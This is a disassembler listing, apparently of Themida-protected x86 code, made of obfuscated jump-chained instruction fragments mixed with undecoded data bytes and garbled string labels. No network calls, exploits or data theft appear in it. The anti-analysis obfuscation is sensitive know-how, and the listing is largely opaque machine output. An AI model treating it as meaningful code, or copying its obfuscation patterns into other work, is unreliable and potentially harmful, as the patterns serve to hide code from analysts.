		dd 0EC8359CEh, 240C8904h, 4B9h,	59CE0100h, 31243433h, 0C7E92434h
		dd 52FFFFFAh, 2F26E9h, 24148B00h, 4C481h, 0EE810000h, 68D181Ah
		dd 5BE7EE81h, 0BEE97F98h, 81FFFFDEh, 0D757D4CDh, 0F0E58150h
		dd 0C12E2E78h, 0ED8104EDh, 40E509h, 835DEF01h, 3C8704C7h
		dd 24248B24h, 3BE9D031h, 1000082h, 0A1EE81DEh, 81410009h
		dd 7F018CEEh, 0EC835B4Fh, 24048904h, 6574EEB8h,	6E8C13Eh
		dd 81BFE9h, 0B0CD8100h,	4D4FD702h, 8102EDC1h, 0A69CCCF5h
		dd 5DEF2945h, 78A1E781h, 0EF812686h, 89AE4949h,	815FF989h
		dd 0D81EB3E9h, 59CD017Ah, 308CE9h
		db 0
; ---------------------------------------------------------------------------


loc_543771:				; CODE XREF: Themida_:0054700Aj
		mov	esi, 35E80F6Eh
		sub	ebx, esi
		pop	esi
		jmp	loc_54691A
; ---------------------------------------------------------------------------
		dw 42B7h
		dd 51E9F830h
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_543787:				; CODE XREF: Themida_:00548CB1j
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edi
		push	esi
		push	6B24116h
		mov	esi, [esp]
		add	esp, 4
		xor	esi, 6B24112h
		mov	edi, esi
		pop	esi
		add	ebp, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	ebp, [esp]
		jmp	loc_54619B
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 8BF80104h, 0F2E9243Ch, 6800009Bh, 1354h, 7868E9h, 42D00h
		dd 4870000h, 2C895C24h,	309DE924h, 15B0000h, 0F43EE9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5437F6:				; CODE XREF: Themida_:0054A3E9j
		pop	ebp
		jmp	loc_543A2C
; ---------------------------------------------------------------------------
		dd 47E5C381h, 0C3293407h, 47E5EB81h, 0C3813407h, 731756E8h
		dd 29BBE9h, 241C8900h, 0A813C168h, 2434FF45h, 0FFE0ECE9h
		dd 0FE885CFFh, 81241C8Bh, 4C4h,	66F03000h, 8324148Bh, 0E95102C4h
		dd 96A9h, 1B22E947h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_543846:				; CODE XREF: Themida_:00546F78j
		push	eax
		jmp	loc_542C20
; ---------------------------------------------------------------------------
		dd 872CD800h, 665B1704h, 0EDB45051h, 8006ECC0h,	0C4FE10C4h
		dd 0F480D4F6h, 8BE188F9h, 0C4832404h, 0FCC18004h, 8014C980h
		dd 0CB284DC1h, 0FFDF51E9h, 0E8E959FFh, 8000060h, 0EFC05AF7h
		dd 79F78002h, 304CB151h, 240C8BCFh, 55E18951h, 727AADBDh
		dd 50ED814Eh, 8144690Bh, 0F690A7C5h, 5DE901F5h,	628EE957h
		dd 215F0000h, 0C2835FFAh, 0ACF281FFh, 2931E41Ah, 24148BD0h
		dd 4C481h, 0B8500000h, 14114827h, 68DFC381h, 0C3291D15h
		dd 0FFF2D8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5438DD:				; CODE XREF: Themida_:0054409Bj
		mov	ebx, 6743F9C8h
		sub	eax, 78D11942h
		sub	eax, ebx
		add	eax, 78D11942h
		mov	ebx, [esp]
		jmp	loc_547E68
; ---------------------------------------------------------------------------


loc_5438F6:				; CODE XREF: Themida_:00545CD9j
		push	edx
		mov	edx, 531E4219h
		shl	edx, 1
		add	edx, 59C37BD2h
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_54B8D6
		push	dword ptr [edi+1Ch]
		push	eax
		push	edi
		mov	edi, 16D83912h
		jmp	loc_5492DC
; ---------------------------------------------------------------------------


loc_543922:				; CODE XREF: Themida_:005440ACj
		push	eax
		mov	ah, bh
		mov	dh, ah
		pop	eax
		jmp	loc_544577
; ---------------------------------------------------------------------------
		db 1, 0D0h, 5Ah
		dd 5C240487h, 51585450h, 4B9h, 0E9C80100h, 0FFFFEAB1h
		dd 0A0FAE954h, 87660000h, 0FE3166F2h, 66F73166h, 0F766FE31h
		dd 0FE3166D7h, 0E9F73166h, 0FFFFF6C8h, 2414F755h, 7AAE9h
		db 0
; ---------------------------------------------------------------------------


loc_54396D:				; CODE XREF: Themida_:0054D580j
		and	eax, edx
		mov	edx, [esp]
		push	esi
		jmp	loc_54193A
; ---------------------------------------------------------------------------
		dd 4C4835Bh, 0DCDE9h, 348B5400h, 0E6895624h, 4C681h, 0C6810000h
		dd 4, 5C243487h, 4EC8152h, 89000000h, 2BD242Ch,	895A607Dh
		dd 0EAC15DEAh, 0E9DAF702h, 38D3h, 0EE81DEF7h, 9AC877A7h
		dd 0E95EF029h, 5184h, 42A4C681h, 0FE015F02h, 0F460E952h
		dd 8B66FFFFh, 0E951240Ch, 5940h, 8B2434FFh, 0C4812404h
		dd 4, 0EF0CE951h, 5250FFFFh, 7BB056B6h,	5AF030h, 5D6858C3h
		dd 8900005Fh, 0CBB62414h, 148BF320h, 4C48324h, 0FED0B151h
		dd 0E5C7E9C1h, 0E681FFFFh, 5CA8154Dh, 4970CE81h, 464E3EDCh
		dd 0E902E6C1h, 4121h
; ---------------------------------------------------------------------------


loc_543A2C:				; CODE XREF: Themida_:005437F7j
		add	esp, 4
		push	ecx
		push	edx
		mov	edx, 52D63A72h
		mov	ecx, edx
		pop	edx
		not	ecx
		push	ebx
		mov	ebx, 713207D9h
		push	ecx
		jmp	loc_54B2BE
; ---------------------------------------------------------------------------


loc_543A47:				; CODE XREF: Themida_:0054C881j
		not	ebx
		sub	ebx, 57867D51h
		add	edi, ebx
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		add	edi, 4
		jmp	loc_542FD0
; ---------------------------------------------------------------------------
aPG?SV		db 'P¸)G?*Áè',7,'V¾',0
		align 10h
		dd 0F4E90000h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_543A77:				; CODE XREF: Themida_:0054AE37j
		xor	dword ptr [edi+20h], 620000h


loc_543A7E:				; CODE XREF: Themida_:loc_544217j
					; Themida_:00544779j
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	6F68h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5463B4
; ---------------------------------------------------------------------------
		dw 5457h
		dd 0B850555Fh, 4D1B0751h, 9FE9C589h, 51000003h,	42474FFh
		dd 24048F59h, 243C895Ch, 4EC81h, 0D2E90000h, 81FFFFDAh
		dd 4E37CBEEh, 440AE93Ah, 8B660000h, 9FE92404h, 68000089h
		dd 3F4Ah, 50243C89h, 5A54BD68h,	24048B68h, 4B0FE950h, 0DD890000h
		dd 33E1E95Bh, 248B0000h, 7BCD6824h, 0BAE90000h
		db 90h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_543B1B:				; CODE XREF: Themida_:0054B49Fj
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		not	edi
		push	0BB3h
		mov	[esp], edx
		jmp	loc_5426FB
; ---------------------------------------------------------------------------


loc_543B30:				; CODE XREF: Themida_:0054810Bj
		pop	edi
		sub	ebx, 1AC713BAh
		push	esi
		mov	esi, 31C15BD3h
		xor	esi, 36704971h
		jmp	loc_546753
; ---------------------------------------------------------------------------
		dd 6DE9EA00h, 5A000002h, 815DEA01h, 4ECh, 242C8900h, 4BDh
		dd 5DEA2900h, 5C241487h, 374E9h
		db 0
; ---------------------------------------------------------------------------


loc_543B6D:				; CODE XREF: Themida_:00544556j
		mov	ebx, 4
		jmp	loc_54D8E2
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483243Ch, 24143304h, 0E9241431h, 802Eh, 0D881E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_543B8E:				; CODE XREF: Themida_:005482DBj
		push	eax
		push	edx
		push	56432DF1h
		mov	edx, [esp]
		add	esp, 4
		add	edx, 341D36AEh
		jmp	loc_547BE4
; ---------------------------------------------------------------------------
		dw 0D366h
		dd 0E99C240Ch, 0FFFFD7C8h
; ---------------------------------------------------------------------------


loc_543BB0:				; CODE XREF: Themida_:0054344Dj
		dec	esi
		add	esi, 817B32C6h
		add	edi, 6E0577D0h
		sub	edi, esi
		sub	edi, 6E0577D0h
		jmp	loc_542740
; ---------------------------------------------------------------------------
a_hT		db '_h»t',0
		align 10h
		dd 7F5AE9h, 240C8700h, 28992D5Ch, 0E95E41C0h, 89F7h, 74045B2Dh
		dd 0C950539h, 0C301E3ACh, 8124048Bh, 4C4h, 2647E900h, 0FB290000h
		dd 0C383595Fh, 738BE904h, 0DDF60000h, 1246C86h,	0B4505A66h
		dd 8E4C027h, 5689E9h
		db 0
; ---------------------------------------------------------------------------


loc_543C1D:				; CODE XREF: Themida_:00548B80j
		pop	edi
		add	edi, esi
		jmp	loc_549E4A
; ---------------------------------------------------------------------------
		db 58h,	59h, 5Ah
		dd 83242C8Bh, 0EC8104C4h, 4, 0B9240C89h, 24h, 2F0AE981h
		dd 0ADE91E82h, 80FFFFE4h, 0A9E943C6h, 8100006Ch, 795D1ACFh
		dd 0A1C7817Dh, 0E9509466h, 95D8h, 8B24048Fh, 51662424h
		dd 8FDFE9h, 96D6F700h, 302CBD55h, 0EDC14F67h, 25B6E906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_543C7E:				; CODE XREF: Themida_:00547BFDj
		add	esp, 4
		add	eax, 0FFE2A1Fh
		jmp	loc_54B434
; ---------------------------------------------------------------------------
		dw 0E5E9h
		dd 89FFFFD6h, 96BA2414h, 31184778h, 0FA015AD7h,	5F2434FFh
		dd 4C481h, 14870000h, 3FBAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_543CB2:				; CODE XREF: Themida_:005457ADj
		mov	[esp], edx
		push	edi
		mov	edi, 5A0C4EC1h
		shr	edi, 5
		xor	edi, 72122021h
		jmp	loc_5487DD
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4C281h, 0C2810000h, 2, 16D1E9h
		db 0
; ---------------------------------------------------------------------------


loc_543CDD:				; CODE XREF: Themida_:00543087j
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	dx, [esp]
		jmp	loc_548259
; ---------------------------------------------------------------------------
		dd 5EBC143h, 0F381D3F7h, 52435B70h, 71CDE9h, 51E28900h
		dd 8C5FBFB9h, 2BC18145h, 0E97FF727h, 2EA9h
; ---------------------------------------------------------------------------


loc_543D10:				; CODE XREF: Themida_:00546B9Bj
		push	ecx
		mov	ecx, 4
		jmp	loc_542F7C
; ---------------------------------------------------------------------------


loc_543D1B:				; CODE XREF: Themida_:0054CE72j
		dec	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 1EE304B3h
		or	eax, ebp
		pop	ebp
		push	ebp
		mov	ebp, 6C4C0C74h
		push	ecx
		mov	ecx, 40D952CAh
		xor	ebp, ecx
		pop	ecx
		push	ebx
		sub	esp, 4
		jmp	loc_54AEB8
; ---------------------------------------------------------------------------
		db 81h
		dd 892485C6h, 92E956A2h, 81000015h, 0BC5A58F6h,	33C68164h
		dd 1F7C5DDh, 0C7835EF7h, 74FF5702h, 8F5F0424h, 0D35C2404h
		dd 0E99C240Ch, 9E2h, 4C481h, 8F660000h,	0D5EEE900h, 0D789FFFFh
		dd 8124148Bh, 4C4h, 96EA8100h, 17B807Ah, 96C281FAh, 5F7B807Ah
		dd 2474FF52h, 48F5A04h,	24248B24h, 0C8B60F66h, 0E9E38953h
		dd 6566h, 0DE3AE959h, 8159FFFFh, 4C1h, 4EC8100h, 89000000h
		dd 77BA2414h, 81161041h, 104175F2h, 8BD10116h, 0C4812414h
		dd 4, 2474FF51h, 5E8FE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_543DF2:				; CODE XREF: Themida_:00547877j
		mov	edi, ebx
		pop	ebx
		sub	edi, 656533C4h
		inc	edi
		jmp	loc_546169
; ---------------------------------------------------------------------------
		db 0E9h, 72h, 0D5h
		dd 48FFFFFh, 24248B24h,	4AB0F66h, 61E99C24h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_543E17:				; CODE XREF: Themida_:00544921j
		add	ebx, 0F4D50245h
		jmp	loc_5432F7
; ---------------------------------------------------------------------------
aRsO		db ']R鵎',0
		dd 5EEC100h, 0FFE175E9h, 242C89FFh, 440DBB53h, 84E95F42h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_543E3F:				; CODE XREF: Themida_:005473D7j
		mov	esp, [esp]
		jmp	loc_541378
; ---------------------------------------------------------------------------
		db 80h
		dd 0C980FAC1h, 4EC81DBh, 89000000h, 10E9241Ch
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_543E5B:				; CODE XREF: Themida_:00546BA6j
		mov	ebx, ecx
		jmp	loc_54CFA8
; ---------------------------------------------------------------------------
		dw 8158h
		dd 0BE5BB2E5h, 0F889E956h, 0CD21FFFFh, 0F1F58159h, 81380001h
		dd 2223DC5h, 26C58113h,	29CC60C6h, 8E95DEAh
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_543E8B:				; CODE XREF: Themida_:0054BCC0j
		add	esi, 4
		push	ebx
		mov	ebx, 40383842h
		not	ebx
		jmp	loc_54A25B
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0AC46C505h, 2DC80142h, 42AC46C5h,	20559h,	4870000h
		dd 24248B24h, 993EE9h, 24248B00h, 9C2424D3h, 0FFD4ABE9h
		dd 136BBEFFh, 0F68131B6h, 0AB11C5h, 525EF501h, 7F7FE9h
		dd 24048900h, 4B8h, 24440100h, 148B5804h, 4C48324h, 0FFD47FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_543EF9:				; CODE XREF: Themida_:0054C0F6j
		mov	edi, 72211D41h
		and	edi, 4B9175FBh
		and	edi, 785D6D09h
		shl	edi, 3
		jmp	loc_549B06
; ---------------------------------------------------------------------------


loc_543F12:				; CODE XREF: Themida_:00548AC1j
		push	0F5h
		mov	[esp], ecx
		push	26BFh
		jmp	loc_548FEC
; ---------------------------------------------------------------------------
		dd 6824048Bh, 15FEh, 54243489h,	8124348Bh, 4C4h, 2FAF6800h
		dd 0C890000h, 7097E924h, 0D0BA0000h, 0BB4BD569h, 37D91874h
		dd 148BD331h, 4C48124h,	0E9000000h, 5614h, 0FF2434FFh
		dd 81582434h, 4C4h, 58545000h, 405h, 42D00h, 3AE90000h
		dd 8300003Ch, 8B042404h, 0FDE9240Ch, 8900004Eh,	94CAE9F2h
		dd 0BD550000h, 75335D06h, 1E3AE9h, 4C28300h, 5C241487h
		dd 8702C683h, 86E92434h, 0AD000043h, 4AAC68h, 243C8900h
		dd 0FFF440E9h, 5418B8FFh, 9125596Dh, 40636727h,	0F7E40B2Dh
		dd 58C22934h, 0F7EA874Ah, 6E85E9D5h, 34FF0000h,	240C8B24h
		dd 8904EC83h, 0E6892434h, 4C681h, 4EE90000h, 68000084h
		dd 39F1h, 8F8E9h, 242C3300h, 48B665Ch, 3B966824h, 34890000h
		dd 228BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544012:				; CODE XREF: Themida_:0054742Dj
		sub	esp, 4
		jmp	loc_5475A4
; ---------------------------------------------------------------------------
aIisso		db '‰ëéáŽ',0
		align 4
		dd 0E959CB29h, 0FFFFF7D0h, 0AF685D59h, 89000042h, 0A5B9240Ch
		dd 0C1017423h, 0E98102E9h, 0F2069E24h, 0E959CA01h, 566h
		dd 5E08950h, 4,	8704E883h, 0A6E92404h, 0E9000067h, 0FFFFD314h
		dd 5759CA29h, 56769ABFh, 5FFA2900h, 0C281C201h,	56769Ah
		dd 570CC281h, 0DDE9663Bh, 1FFFFDBh, 0FB9BE910h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54408A:				; CODE XREF: Themida_:00549A48j
		xchg	ebp, [esp]
		pop	esp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5438DD
; ---------------------------------------------------------------------------


loc_5440A0:				; CODE XREF: Themida_:005434BBj
		pop	esp
		mov	[esp], ebx
		mov	bh, dl
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_543922
; ---------------------------------------------------------------------------
		db 0D1h, 0EBh, 81h
		dd 4B4546F3h, 5BD88957h, 706BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5440C1:				; CODE XREF: Themida_:005456F6j
		mov	eax, 0BBA532Fh
		and	eax, 61E269E3h
		shr	eax, 4
		push	edx
		mov	edx, 1BB0BCFh
		add	eax, edx
		pop	edx
		neg	eax
		sub	eax, 6DFF6093h
		jmp	loc_54C0E5
; ---------------------------------------------------------------------------
		db 66h
		dd 0B0240489h, 116CE9F2h, 148B0000h, 4C48124h, 81000000h
		dd 4D6861CAh, 81D2F75Ah, 0A03B52F2h, 0A9C28161h, 897A539Ah
		dd 87D2E9D0h, 61E90000h, 8BFFFFD2h, 0C481242Ch,	4, 0E945D5F7h
		dd 95E3h
; ---------------------------------------------------------------------------


loc_544128:				; CODE XREF: Themida_:0054C8AAj
		shr	al, 5
		add	al, 23h
		add	bl, al
		pop	eax
		push	edx
		push	6868h
		mov	[esp], ebp
		mov	ebp, 3FCh
		jmp	loc_5469E8
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0E84305D0h, 0A3E9CA75h, 0C1000024h, 22E905EDh, 45000070h
		dd 0D669C581h, 0AE9A49Ah, 87000021h, 30E6E9D9h,	0C4810000h
		dd 4, 0B1515366h, 0F6C9FE59h, 80D1F6D1h, 0F18025E9h, 59CB8805h
		dd 5B66DE28h, 3BE9DE28h, 8100007Fh, 0B67758C3h,	37B1E96Ah
		dd 3C890000h, 25E95424h, 50000088h, 6851E089h, 77ABh, 68241C89h
		dd 55924D9Fh, 1663685Bh, 34890000h, 4210BE24h, 0C1462F38h
		dd 0F68107E6h, 0A4B21A04h, 835EF301h, 348904ECh, 1D39E924h
		dd 0DE010000h, 81241C8Bh, 4C4h,	4C68100h, 87000000h, 0A1E92434h
		dd 89000048h, 0E9215EF5h, 81242C8Bh, 4C4h, 6E9C100h, 0E9E28952h
		dd 63D6h
; ---------------------------------------------------------------------------


loc_54420C:				; CODE XREF: Themida_:00542677j
		xor	ebx, 24EA4F5Dh
		jmp	loc_54A62A
; ---------------------------------------------------------------------------


loc_544217:				; CODE XREF: Themida_:00548FE7j
		jmp	loc_543A7E
; ---------------------------------------------------------------------------


loc_54421C:				; CODE XREF: Themida_:00545CC6j
		mov	esi, [esp]
		add	esp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_541378
; ---------------------------------------------------------------------------
		db 30h
		dd 0B65259C8h, 78E68087h, 0E901C680h, 0FFFFE601h
; ---------------------------------------------------------------------------


loc_544248:				; CODE XREF: Themida_:0054C845j
		pop	esp
		sub	edi, 315F03F6h
		jmp	loc_541EE2
; ---------------------------------------------------------------------------
		dd 6FBD68h, 24148900h, 4BAh, 0FFD50100h, 5EE92434h, 5FFFFFDEh
		dd 72F868h, 241C8900h, 573BE9h,	0E7686600h, 66546612h
		db 8Fh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ax
		push	edx
		mov	dx, 26E1h
		push	33C5h
		mov	[esp], eax
		mov	ax, 3912h
		add	ax, 1B6h
		shl	ax, 5
		xor	ax, 8F6h
		sub	dx, 6EE6h
		add	dx, ax
		add	dx, 6EE6h
		pop	eax
		add	dx, 872Bh
		mov	ax, dx
		pop	edx
		sub	word ptr [esp+2], 7452h
		jmp	loc_544AEB
; ---------------------------------------------------------------------------
		db 42h
		dd 0F346E956h, 875FFFFFh, 248B2434h, 0D08EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5442EA:				; CODE XREF: Themida_:00549B14j
		mov	edi, [esp]
		jmp	loc_549133
; ---------------------------------------------------------------------------
		dw 6857h
		dd 1308h, 0E9240489h, 0FFFFDC66h, 0E924048Bh, 322Ch, 197BBF57h
		dd 0F9093A77h, 55BD555Fh, 0F74FF552h, 81EDD1DDh, 0EF4C35E5h
		dd 12C2E93Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544326:				; CODE XREF: Themida_:0054B7CAj
		sub	ecx, ebx
		pop	ebx
		add	ebx, ecx
		jmp	loc_548852
; ---------------------------------------------------------------------------


loc_544330:				; CODE XREF: Themida_:00541D85j
		add	edx, ebp
		sub	edx, 715A0081h
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 24h
		sub	ebx, 1581164Bh
		add	ebx, edi
		add	ebx, 1581164Bh
		add	[ebx], edx
		mov	ebx, [esp]
		add	esp, 4
		pop	edx


loc_54435B:				; CODE XREF: Themida_:00549EDFj
		push	40C7h
		mov	[esp], esi
		mov	esi, ebx
		push	edi
		push	72B7h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_5498A9
; ---------------------------------------------------------------------------


loc_544378:				; CODE XREF: Themida_:00549A37j
		and	edx, 5B48196Bh
		push	edx
		not	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, 146E61D3h
		push	ebx
		push	esi
		jmp	loc_54D5E6
; ---------------------------------------------------------------------------
		dd 0FFC0B60Fh, 0C0E98734h, 81000007h, 4ECh, 48F5400h, 24048324h
		dd 2434FF04h, 0E689565Fh, 4C681h, 0C6830000h, 4CE5E904h
		dd 0EBC10000h, 0F4F38107h, 0C13BAC50h, 0C38103E3h, 211349A4h
		dd 1C8BDD01h, 4C48124h,	68000000h, 33F8h, 0B9240C89h, 2
		dd 7DECE9h, 8BE80100h, 0C481242Ch, 4, 81BFE956h, 4050000h
		dd 0E9000000h, 5571h
; ---------------------------------------------------------------------------


loc_544408:				; CODE XREF: Themida_:0054CC2Cj
		push	ecx
		mov	ecx, 3E367888h
		add	edx, ecx
		pop	ecx
		xor	edx, 166508C8h
		jmp	loc_544903
; ---------------------------------------------------------------------------
		dd 4C481h, 3C870000h, 472CE924h, 0BE560000h, 342D0792h
		dd 315EF531h, 242C8BEFh, 4C481h, 75E90000h, 0BF00004Bh
		dd 43DD30D2h, 1CE9EF31h, 0C1000059h
dword_544450	dd 0F58107E5h, 151E2C2Ch, 815DEE01h, 830CD3C5h,	81F52942h
					; DATA XREF: ___:off_43B084o
		dd 830CD3EDh, 0D442E942h, 489FFFFh, 8A82E924h, 34FF0000h
		dd 55BE924h, 81580000h,	9C7B0FF3h, 5BD82900h, 8B240487h
		dd 1C892424h, 3B5B6824h, 15B4474h, 4DE95BD8h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54449F:				; CODE XREF: Themida_:005435EFj
		pop	edx
		jmp	loc_54581C
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 61h
		dd 1789B62h, 61C581DDh,	5B789B62h, 2BF57h, 0FD010000h
		dd 83243C8Bh, 0FF5504C4h, 8B042474h, 8953242Ch,	4C381E3h
		dd 56000000h, 1A0387BEh, 81D6F751h, 0A95634CEh,	81D6F771h
		dd 120187F6h, 5EF30100h, 636EE9h, 2C48300h, 53FFC680h
		dd 82EBE9h
		db 0
; ---------------------------------------------------------------------------


loc_5444FD:				; CODE XREF: Themida_:00548BA3j
		mov	[esp], edx
		push	eax
		push	ebp
		mov	ebp, 420B67B0h
		or	ebp, 5201933h
		sub	ebp, 1B7D3E26h
		jmp	loc_5421E5
; ---------------------------------------------------------------------------
		dd 243C8758h, 48B665Ch,	4EC8124h, 89000000h, 5F54243Ch
		dd 4C781h, 0FE90000h, 81000062h, 2ECh, 1C896600h, 2AFB6824h
		dd 43E90000h, 5800000Bh, 1FBBE9h
		db 0
; ---------------------------------------------------------------------------


loc_544551:				; CODE XREF: Themida_:00543422j
		pop	ecx
		add	esi, edi
		pop	edi
		push	ebx
		jmp	loc_543B6D
; ---------------------------------------------------------------------------


loc_54455B:				; CODE XREF: Themida_:00548F7Cj
		mov	esi, 63E27736h
		and	esi, 129843B7h
		push	ecx
		mov	ecx, 2468258Dh
		xor	ecx, 17C94DF5h
		jmp	loc_548B75
; ---------------------------------------------------------------------------


loc_544577:				; CODE XREF: Themida_:00543928j
		mov	[edi+eax*4+1], dh
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_542605
; ---------------------------------------------------------------------------
		dw 5CB4h
		dd 5866E630h, 534BE680h, 0FE3067B7h, 81241C8Bh,	4C4h, 230400h
		dd 7C91E9F0h, 48B0000h,	1FD7E924h, 0D0010000h, 4EC815Ah
		dd 89000000h, 0FBE9243Ch, 66000061h, 68240C8Bh,	77DCh
		dd 54242C89h, 0FFDD53E9h, 4EC83FFh, 81240C89h, 4ECh, 24248900h
		dd 0FFF996E9h, 7FC581FFh, 31FE045Ah, 0C1315DE8h, 3EC18158h
		dd 31429DC8h, 0EB8159C8h, 49602471h, 2C05C381h,	0B95179BEh
		dd 1DB2660Bh, 31DBE9h, 13BF5700h, 812CE51Bh, 34E27CEFh
		dd 0F5D8E9ECh, 32FFFFFFh, 0FFCD4BE9h, 4C381FFh,	81000000h
		dd 4C3h, 241C8700h, 0DA79E95Ch,	875BFFFFh, 895C2414h, 8B54242Ch
		dd 0C481242Ch, 4, 0FFFBFBE9h, 80C6FEFFh, 0F100B1F6h, 59C8285Ah
		dd 5904F000h, 8124148Bh, 4C4h, 2EC8300h, 93EBE9h
		db 0
; ---------------------------------------------------------------------------


loc_544679:				; CODE XREF: Themida_:00546196j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_54CEC9
; ---------------------------------------------------------------------------
		db 81h
		dd 61100DC1h, 0E9CD0160h, 9351h, 0E95AD021h, 0CC1h, 2404875Fh
		dd 2EC835Ch, 240C8966h,	448768h, 0E4E9E900h, 0C183FFFFh
		dd 240C8704h, 24048F5Ch, 0C8B665Ch, 139D6824h, 1C890000h
		dd 50E38924h, 4B8h, 24EB8100h, 0E910152Fh, 0FFFFD09Ah
; ---------------------------------------------------------------------------


loc_5446E0:				; CODE XREF: Themida_:005457CBj
		sub	bl, 0AEh
		add	bl, ch
		add	bl, 0AEh
		sub	bl, 52h
		add	bl, 0F7h
		pop	cx
		sub	bl, 2Ah
		sub	bl, al
		jmp	loc_549439
; ---------------------------------------------------------------------------
		dw 0F740h
		dd 0DB2D40D0h, 551C3870h, 0EB12D6BDh, 0C5ED8100h, 0E909E57Bh
		dd 0FFFFFA3Bh, 4DA2E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54471A:				; CODE XREF: Themida_:0054637Dj
		mov	ebx, [esp]
		jmp	loc_5476A8
; ---------------------------------------------------------------------------
aSz4		db '°]éz4',0
		dd 3FA5B900h, 0F1810D43h, 45567263h, 0B4B85055h, 0C1500C5Ch
		dd 2D4805E8h, 0DA00517Dh, 158C589h, 0D302E9E9h,	0C268FFFFh
		dd 0E9000012h, 3872h, 739FE959h, 15E90000h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_544763:				; CODE XREF: Themida_:0054A525j
		mov	ebx, edx
		jmp	loc_54D599
; ---------------------------------------------------------------------------


loc_54476A:				; CODE XREF: Themida_:0054A6BCj
		add	esp, 4
		jmp	loc_546745
; ---------------------------------------------------------------------------


loc_544775:				; CODE XREF: Themida_:00549BA4j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_543A7E
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_541644
; ---------------------------------------------------------------------------
		dw 0B568h
		dd 89000026h, 71E9241Ch, 81000066h, 17662AF7h, 0FA895239h
		dd 0C2E9D689h, 80FFFFECh, 0F3006BEEh, 5124148Bh, 0C181E189h
		dd 4, 6435E9h, 1C77FF00h, 1058669Dh, 0E99C2404h, 0FFFFCBACh
		dd 0D656C1BFh, 8E7C121h, 0C104F781h, 0C381D656h, 1AF67E7Ch
		dd 0EB81FB01h, 1AF67E7Ch, 81243C8Bh, 4C4h, 2C38100h, 53000000h
		dd 42474FFh, 1FD9E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_544802:				; CODE XREF: Themida_:00542E04j
		neg	edx
		sub	edx, 76EC3CBEh
		jmp	loc_54CD1D
; ---------------------------------------------------------------------------


loc_54480F:				; CODE XREF: Themida_:0054619Ej
		xor	ebp, [esp]
		mov	esp, [esp]
		push	1599h
		mov	[esp], esi
		mov	esi, 78DB692Ah
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_54BFCE
; ---------------------------------------------------------------------------


loc_54482D:				; CODE XREF: Themida_:0054D8DDj
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_545952
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 2D3D3C19h, 40E9DD01h, 8B000000h, 0C892424h, 0CB2AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54484E:				; CODE XREF: Themida_:0054B320j
		and	esi, eax
		pop	eax
		jmp	loc_54B669
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFFCE7Dh, 3C8BF801h, 4C48324h, 8B240487h, 0CFF2424h
		dd 5E99C24h, 1FFFFCBh, 87A2E9D9h, 0B3B00000h, 16E9C3B1h
